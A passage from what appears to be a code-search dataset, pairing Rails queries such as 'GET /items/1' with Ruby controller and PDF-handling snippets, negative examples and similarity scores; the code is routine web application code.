"def download_as_pdf(dest_path, annotations = false)\n annotations = annotations.join(',') if annotations.kind_of?(Enumerable)\n response = Crocodoc.connection.get 'download/document',\n :pdf => true,\n :annotated => !!annotations,\n :filter => annotations,\n :uuid => @uuid\n File.open(dest_path, 'wb') { |fp| fp.write(response.body) }\n end",
"def pdf\n @delivery = Delivery.find(params[:id])\n respond_to do |format|\n format.html { redirect_to(\"/deliveries/pdf/#{@delivery.id}.pdf\") }\n format.pdf { render :layout => false }\n end\n end",
"def wicked_pdf_url_base64(url); end",
"def create\n @pdf = Pdf.new(params[:pdf])\n\n respond_to do |format|\n if @pdf.save\n format.html { redirect_to @pdf, notice: 'Pdf was successfully created.' }\n format.json { render json: @pdf, status: :created, location: @pdf }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pdf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def render\n @pdf.render\n end",
"def pdf\n _, @document = search_service.fetch(params[:solr_document_id])\n\n source_pdf = Wayfinder.for(resource).source_pdf\n if source_pdf\n redirect_to \"#{request.base_url}#{helpers.fileset_download_path(source_pdf, auth_token_param)}\"\n elsif helpers.pdf_allowed?(resource) && can?(:pdf, resource)\n redirect_to \"#{request.base_url}#{polymorphic_path([:pdf, resource], auth_token_param)}\"\n else\n redirect_to solr_document_url(resource), notice: \"No PDF available for this item\"\n end\n end",
"def show\n\n ##pdf\n respond_to do |format|\n format.html\n format.pdf do\n pdf = PersonnelPdf.new(@personnel)\n send_data pdf.render, \n filename: 'cv.pdf', \n type: 'application/pdf',\n disposition: \"inline\"\n end\n end\n\n end",
"def pdf(id)\n http.get(\"/nfse/#{id}/pdf\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end",
"def pdf\n base = Estimate.get_base\n estimate = base.fetch_by_id(id)\n return base.pdf(estimate)\n end",
"def create\n @comments = Comment.where.not(body: '')\n\n respond_to do |format|\n original_orientation = TextOnPdf.first.original_orientation\n\n format.pdf do\n pdf = render_to_string pdf: 'generated_pdf.pdf',\n template: 'text_on_pdfs/generated_pdf.pdf',\n encording: 'UTF-8',\n layout: 'pdf.html',\n orientation: original_orientation,\n show_as_html: true\n # show_as_html: params[:debug].present?\n send_data(pdf)\n end\n end\n end",
"def readPDFData\n\n\t\trequire 'rubygems'\n\t\trequire 'pdf/reader'\n\n\t\tfileName = \"./storage/PDFs/docraptor-ruby.pdf\"\n\n\t\tPDF::Reader.open(fileName) do |reader|\n\n\t\t\tparams[:url_data_model][:pdf_version] = reader.pdf_version\n\t\t\tparams[:url_data_model][:metadata] = reader.metadata.inspect\n\t\t\tparams[:url_data_model][:page_count] = reader.page_count\n\t\t\t@pageInfo = reader.info.inspect\n\n\t\tend\n\n\tend",
"def pdf_to_html(url)\n\tend",
"def pdf?(input)\n command = \"file #{input.shellescape}\"\n result = command_stdout(command)\n _, type = result.chomp.split(':')\n !(type =~ /PDF Document/i).nil?\n end",
"def return_pdf(pdf_type)\n success, attachment = DashboardReturn.return_pdf(current_user, dashboard_return_params, pdf_type)\n return unless success\n\n # Download the file\n send_file_from_attachment(attachment[:document_return])\n end",
"def buildModelFromURLViaPDF\n\n\t\tconvertURLToPDF()\n\t\treadPDFData()\n\t\tdeletePDF()\n\t\t\n\tend",
"def pdf_to_text\n page.driver.instance_variable_set('@body', pdf_string_to_text_string(page.body) )\n end",
"def to_pdf(path = nil)\n @outfile = File.expand_path(path) if path\n run\n @outfile\n end",
"def rebuild_pdf\n page_paths = (1..document.page_count).map {|i| \"#{document.slug}_#{i}.pdf\" }\n #`pdftk #{page_paths.join(' ')} cat output #{@pdf}`\n `pdftailor stitch --output #{@pdf} #{page_paths.join(' ')} 2>&1`\n\n if File.exists? @pdf\n asset_store.save_pdf(document, @pdf, access)\n File.open( @pdf,'r') do | fh |\n document.update_file_metadata( fh.read )\n end\n end\n end",
"def read(path)\n Pdf.new path, self\n end",
"def mail_pdf(document,email,user,message)\n @user=user\n @document=document\n @email=email\n @message=message\n\n uri = URI.parse document.pdfdoc_url\n sock= Net::HTTP.new(uri.host, uri.port)\n sock.use_ssl=true\n response=sock.start { |http| http.get uri.path }\n attachments['document.pdf'] = response.body\n mail to: email, subject: \"Auto Chlor System - \" << document.description.upcase\n end",
"def convert_to_pdf(reportfile, pdfname)\n\n cmd = \"/usr/bin/unoconv -no #{pdfname} -f pdf #{reportfile}\"\n logger.debug \"Executing command \\'#{cmd}\\'\"\n output,returncode = Open3.capture2e(cmd) \n logger.debug \"Command output #{output} (returncode #{returncode})\"\n\t\treturncode\n end",
"def convertStringToFile(text, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertStringToFile::file_path\", \"html-to-pdf\", \"The string must not be empty.\", \"convert_string_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertStringToStream(text, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end",
"def source_pdf\n first_member if first_member.try(:mime_type) == [\"application/pdf\"]\n end",
"def pdf_reader\n @pdf_reader ||= (PDF::Reader.new(file_handle) if file_handle)\n end",
"def to_pdf\n to_html\n end",
"def buildModelFromURLViaPDF()\n\n\t\tconvertURLToPDF()\n\t\treadPDFData()\n\tend",
"def get_labels_pdf\n if @body['response']['data_stream']\n pdf = Tempfile.new('labels.pdf')\n File.open(pdf.path.to_s, 'wb') do |f|\n f.write(Base64.decode64(@body['response']['data_stream']))\n end\n pdf\n else\n raise PdfDataStreamError.new(\"No data stream included in response.\")\n end\n end",
"def allSalesReport\n\n # Save and open pdf\n #filename = File.join(Rails.root, \"app/report\", \"SalesList.pdf\")\n #pdf.render_file filename\n #send_file filename, :filename => \"SalesList.pdf\", :type => \"application/pdf\"\n\n # Open pdf\n send_data allSales_pdf.render, :filename => \"SalesList.pdf\", :type => \"application/pdf\"\n\n end",
"def generate_pdf \n pdf = ParkirPdf.new(@billing)\n pdf.render\n end",
"def render\n generate_content\n @pdf.render\n end",
"def read(path)\n Pdf.new path, self, options\n end",
"def convertStreamToFile(in_stream, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertStreamToFile::file_path\", \"html-to-pdf\", \"The string must not be empty.\", \"convert_stream_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertStreamToStream(in_stream, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end"
] |
[
"0.789861",
"0.7276215",
"0.67349184",
"0.66998744",
"0.66768295",
"0.6507746",
"0.6468734",
"0.64140075",
"0.63956857",
"0.63753706",
"0.6337676",
"0.6335708",
"0.63353586",
"0.6316676",
"0.62908345",
"0.62866354",
"0.62833625",
"0.62825274",
"0.6275268",
"0.62678564",
"0.62582314",
"0.62346834",
"0.6198074",
"0.6194177",
"0.6189809",
"0.6144954",
"0.61328083",
"0.60796565",
"0.6078758",
"0.6078507",
"0.6042825",
"0.60367405",
"0.60337806",
"0.6010477",
"0.59977067",
"0.59958243",
"0.5984542",
"0.59319746",
"0.5929292",
"0.59285086",
"0.59221494",
"0.5918228",
"0.5909345",
"0.59076554",
"0.5894636",
"0.5879859",
"0.58680147",
"0.5862997",
"0.5849492",
"0.58478",
"0.5842749",
"0.58425903",
"0.5836606",
"0.58170086",
"0.58055717",
"0.579683",
"0.5794508",
"0.5781149",
"0.5775292",
"0.57723385",
"0.5764965",
"0.57470536",
"0.57419384",
"0.5708999",
"0.57028574",
"0.5697118",
"0.569553",
"0.569398",
"0.5684278",
"0.568111",
"0.5661526",
"0.56596845",
"0.56542057",
"0.5640285",
"0.5626275",
"0.5625532",
"0.5624611",
"0.5624509",
"0.5621896",
"0.56190014",
"0.5615267",
"0.5610798",
"0.5606868",
"0.5589499",
"0.5583355",
"0.5577792",
"0.5571669",
"0.5571192",
"0.5568524",
"0.5552511",
"0.5546027",
"0.5542813",
"0.5542489",
"0.5536997",
"0.55291003",
"0.55226934",
"0.5509365",
"0.5507882",
"0.55019397",
"0.54986537"
] |
0.7317066
|
1
|
GET /items GET /items.json
|
def index
respond_to do |format|
format.html
format.json { render :json => Item.all}
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @items = Item.find(params[:id])\n render json: @items\n end",
"def items\n\t\tresponse = self.get('items').body\n\t\titems = JSON.parse(response)\n\t\tparse_items(items)\n\t\treturn items\n\tend",
"def getItems()\n return mergeWithAPI(@item_json)['data']\n end",
"def index\n @items = current_user.items\n respond_to do |format|\n format.html\n format.json { render json: @items }\n end\n end",
"def index\n #@items = Item.find_by_user_id(Session[user_id])\n @items = Item.all\n render json: @items\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.found\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @items }\n end\n end",
"def items\n \tbegin\n \t@categories = Category.all.includes(items: [:dimensions])\n \t@ingredients = Ingredient.actives\n \trender 'api/v1/home/items', status: :ok\n \trescue Exception => e\n \t\terror_handling_bad_request(e)\n \tend\n\n\tend",
"def index\n @items = Item.find(:all, :order => 'id ASC')\n # @items = Item.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @api_v1_items = Item.all\n render json: @api_v1_items\n end",
"def list_items( args={} )\n @session.base_url = \"http://my.cl.ly\"\n \n url = \"/items\"\n args.each do |k, v|\n # probably a nicer way to do this\n if url == \"/items\"\n url << \"?#{k.to_s}=#{v.to_s}\"\n else\n url << \"&#{k.to_s}=#{v.to_s}\"\n end\n end\n resp = @session.get( url )\n \n raise AuthorizationError if resp.status == 401\n Crack::JSON.parse(resp.body)\n end",
"def show\n item = Item.find(params[:id])\n render json: item\n end",
"def get_item( item )\n @session.base_url = \"http://cl.ly\"\n resp = @session.get( \"/\" + item )\n \n raise ItemNotFound if resp.status == 404\n Crack::JSON.parse(resp.body)\n end",
"def show\n authenticate\n list = List.find(params[:id])\n items = list.items\n render json: {\n items: items,\n id: list.id\n }\n end",
"def items\n response[\"items\"]\n end",
"def show\n render json: Item.find(params[:id])\n end",
"def index\n @items = @deal.items\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def show\n render json: Item.find(params[\"id\"])\n end",
"def item(uuid)\n http.get \"/items/#{uuid}\"\n end",
"def items\n @items ||= items_from_response\n end",
"def get_items\n @items\n end",
"def index\n @items = Item.includes(:user).order(created_at: :desc).all\n render json: @items\n end",
"def get_items\n response_xml = http_get(@client, \"#{xero_url}/Items\")\n parse_response(response_xml, {}, {:request_signature => 'GET/items'})\n end",
"def my\n items = current_user.items\n render json: items\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item.to_json() }\n end\n end",
"def index\n render json: RequestItem.all\n end",
"def show\n render json: @item\n end",
"def show\n @item = Item.all.where(collection_id: params[:id])\n render :json => @item\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n# @item = Item.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def items(); @items || CrateAPI::Items.new(); end",
"def index\n if params[:uid]\n @current_user = User.find_by(uid: params[:uid])\n render json: {\n status: 'SUCCESS',\n message: 'Loaded users',\n value: @current_user.items\n }\n else\n items = Item.order(created_at: :desc)\n render json: { status: 'SUCCESS', message: 'Loaded items', value: items }\n end\n end",
"def index\n @items = Admin::Item.by_agency(@current_agency.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_items }\n end\n end",
"def get_items(product_id, params={})\n self.client.get(\"products/#{product_id}/items\", params)\n end",
"def index\n @section = Section.find(params[:section_id])\n @items = @section.items\n render json: ItemSerializer.new(@items)\n end",
"def index\n @items = @user.items\n end",
"def index\n @rentable_items = RentableItem.all\n render json: @rentable_items\n end",
"def get_item\n @item = Item.find_by_id(params[:id])\n if @item\n return @item\n else \n render json: {\"message\": {\"type\": \"error\", \"content\": \"The item could not be found!\"}}\n end\n end",
"def show\n @item = @deal.items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def items\n @beverages = Beverage.available\n respond_to do |format|\n format.json { render :json => @beverages.to_json(methods: :image_url)}\n end\n end",
"def get_books(response)\n response[\"items\"]\nend",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n end",
"def index\n @items = Item.all\n @budget = Budget.find params[:budget_id]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def items\n response = @client.request :get, \"#{LISTS_PATH}/#{@id}\"\n raise(StandardError, 'unexpected response') unless response\n response['items']&.map { |i| TodoableItem.new self, i, @client }\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json\n end\n end",
"def index\n if params[:cart_id]\n get_cart\n @items = Item.where(cart: @cart)\n elsif params[:order_id]\n get_order\n @items = Item.where(order: @order)\n end\n render json: @items, status: 200\n end",
"def index\n @active_items = Item.select(&:active?).sort_by(&:name)\n @inactive_items = Item.select(&:inactive?).sort_by(&:name)\n\n @item = Item.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def show\n \n render status: 200, :json => @item\n\n end",
"def index\n @items = Item.all\n\n end",
"def index\n @items = @channel.items\n @items = @query.search(@items)\n @items = @items.order_by_published_at_desc\n @items = @items.page(params[:page]).per(10)\n\n respond_to do |format|\n format.html\n format.json { render json: @items }\n end\n end",
"def items\n @items = current_user.items.paginate(:page => params[:page])\n end",
"def index\n self.identify_user\n @items = @user.items\n @itemlist = @items.map do |item|\n convert_to_json(item)\n end\n respond_to do |format|\n format.json { render :json => @itemlist }\n format.xml { render :xml => @items }\n format.html { render text: \"Unsupported Format\", status: 404 }\n end\n end",
"def fetch\n result = WebApi.json!('ITFItems_440', 'GetPlayerItems', 1, { :SteamID => @steam_id64 })\n\n @items = []\n result[:items][:item].each do |item_data|\n unless item_data.nil?\n item = TF2Item.new(item_data)\n @items[item.backpack_position - 1] = item\n end\n end\n end",
"def index\n @items = Item.accessible_by(current_ability)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n format.xml { render xml: @items }\n end\n end"
] |
[
"0.79562956",
"0.7546286",
"0.74375594",
"0.7434485",
"0.73975587",
"0.7358414",
"0.7358414",
"0.7358414",
"0.7358414",
"0.7357372",
"0.7313286",
"0.73129123",
"0.7311041",
"0.7306297",
"0.7281173",
"0.7273615",
"0.72629416",
"0.72484964",
"0.72301924",
"0.71767205",
"0.7118192",
"0.70924455",
"0.7085656",
"0.7080955",
"0.7067216",
"0.7009283",
"0.6977327",
"0.69725746",
"0.69630706",
"0.6939082",
"0.6898775",
"0.68567353",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.68541014",
"0.6849963",
"0.6849224",
"0.68373597",
"0.683049",
"0.67957854",
"0.67643034",
"0.67521715",
"0.67499214",
"0.673109",
"0.6710735",
"0.6705887",
"0.67042756",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.66965467",
"0.669466",
"0.66917354",
"0.6686135",
"0.6674154",
"0.66694057",
"0.66563886",
"0.66466695",
"0.6638935",
"0.6629286",
"0.66234785",
"0.66168797",
"0.6604739"
] |
0.67557514
|
57
|
GET /items/1 GET /items/1.json
|
def show
respond_to do |format|
format.html
format.json { render :json => Item.joins(:tag).where('tag_id = ?', params[:tag])}
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @items = Item.find(params[:id])\n render json: @items\n end",
"def get_item( item )\n @session.base_url = \"http://cl.ly\"\n resp = @session.get( \"/\" + item )\n \n raise ItemNotFound if resp.status == 404\n Crack::JSON.parse(resp.body)\n end",
"def show\n item = Item.find(params[:id])\n render json: item\n end",
"def item(uuid)\n http.get \"/items/#{uuid}\"\n end",
"def show\n render json: Item.find(params[:id])\n end",
"def index\n @api_v1_items = Item.all\n render json: @api_v1_items\n end",
"def show\n render json: Item.find(params[\"id\"])\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item.to_json() }\n end\n end",
"def index\n @items = Item.find(:all, :order => 'id ASC')\n # @items = Item.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def get_item\n @item = Item.find_by_id(params[:id])\n if @item\n return @item\n else \n render json: {\"message\": {\"type\": \"error\", \"content\": \"The item could not be found!\"}}\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def index\n @items = Item.found\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def show\n# @item = Item.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def show\n @item = Item.all.where(collection_id: params[:id])\n render :json => @item\n end",
"def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @items }\n end\n end",
"def index\n #@items = Item.find_by_user_id(Session[user_id])\n @items = Item.all\n render json: @items\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json\n end\n end",
"def show\n @item = @deal.items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def item\n @item = Item.find(params[:id])\n end",
"def show\n authenticate\n list = List.find(params[:id])\n items = list.items\n render json: {\n items: items,\n id: list.id\n }\n end",
"def index\n @items = current_user.items\n respond_to do |format|\n format.html\n format.json { render json: @items }\n end\n end",
"def index\n @items = @deal.items\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def show\n render json: @item\n end",
"def show\n \n render status: 200, :json => @item\n\n end",
"def getItems()\n return mergeWithAPI(@item_json)['data']\n end",
"def get(item)\n run(\"show #{ item }\")\n end",
"def show\n @feed_item = Item.find(params[:id])\n\n render json: @feed_item\n end",
"def index\n @items = Item.all\n @budget = Budget.find params[:budget_id]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def index\n render json: RequestItem.all\n end",
"def items\n \tbegin\n \t@categories = Category.all.includes(items: [:dimensions])\n \t@ingredients = Ingredient.actives\n \trender 'api/v1/home/items', status: :ok\n \trescue Exception => e\n \t\terror_handling_bad_request(e)\n \tend\n\n\tend",
"def show\n render json: @item, status: :ok\n end",
"def findItem\n item = Item.find(params[:id])\n if item\n return item\n else\n return render json: {data: \"Failure, could not find this item.\"}, status: :not_found\n end\n end",
"def show\n @itemstable = Itemstable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @itemstable }\n end\n end",
"def show\n @item_info = ItemInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item_info }\n end\n end",
"def get_single_item(item_id, payload = {})\n payload = payload.merge('ItemID' => item_id)\n request('GetSingleItem', payload)\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @item }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def index\n respond_to do |format|\n format.html\n format.json { render :json => Item.all}\n end\n\n end",
"def show\n @item = Item.find(params[:id])\n @user = @item.user_id\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @item }\n end\n end",
"def show\n @admin_item = Admin::Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_item }\n end\n end",
"def show\n @admin_item = Admin::Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_item }\n end\n end",
"def path\n \"/{databaseId}/items/list/\"\n end",
"def index\n @items = Admin::Item.by_agency(@current_agency.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_items }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @item }\n end\n end",
"def show\n @item = TodoItem.find(params[:id])\n \n respond_to do |format|\n format.html\n format.json {render json: {\n success:true, \n data: [@item],\n message: \"TodoItem found.\"\n }}\n end\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = ActiveRecord::Base.connection.execute(\"\n SELECT * \n FROM items \n WHERE iid = #{params[:id]} \n LIMIT 1\").first\n\n @games = ActiveRecord::Base.connection.execute(\"\n SELECT g.*\n FROM games g\n JOIN game_items gi\n ON g.gid = gi.gid\n WHERE iid = #{params[:id]}\")\n\n respond_to do |format|\n format.html\n format.json {render json: Item.find(@item[0])}\n end\n end",
"def show \n #get the item id from the url params\n item_id = params[:id]\n #use `item_id` to find the item in the database\n #and save it to an instance variable\n @item = Item.find_by_id(item_id)\n render json: @item\n # @item = City.find(params[:id])\n # @item = Item.joins(:posts).includes(:posts).find(params[:id])\n # puts @item\n # render json: {\n # item: @item\n # }\n end",
"def index\n @items = Item.includes(:user).order(created_at: :desc).all\n render json: @items\n end",
"def get_item(course_id, item_id)\r\n relative_url = PATH_COURSES_ITEMS_ % [course_id, item_id]\r\n get(relative_url)\r\n end",
"def my\n items = current_user.items\n render json: items\n end",
"def get_item(item_id, params = {})\n url = build_url('item', item_id)\n params = params.merge(item_id: item_id)\n\n http.headers(build_headers).get(url, params: params)\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item }\n format.json { render :json => @item }\n end\n end",
"def list_items( args={} )\n @session.base_url = \"http://my.cl.ly\"\n \n url = \"/items\"\n args.each do |k, v|\n # probably a nicer way to do this\n if url == \"/items\"\n url << \"?#{k.to_s}=#{v.to_s}\"\n else\n url << \"&#{k.to_s}=#{v.to_s}\"\n end\n end\n resp = @session.get( url )\n \n raise AuthorizationError if resp.status == 401\n Crack::JSON.parse(resp.body)\n end",
"def show\n render json: @request_item\n end",
"def show\n @potluck_item = PotluckItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @potluck_item }\n end\n end",
"def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n format.xml { render xml: @item }\n end\n end",
"def show\n @list = List.find(params[:list_id])\n @list_items = @list.list_items.find(params[:list_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @list_item }\n end\n end",
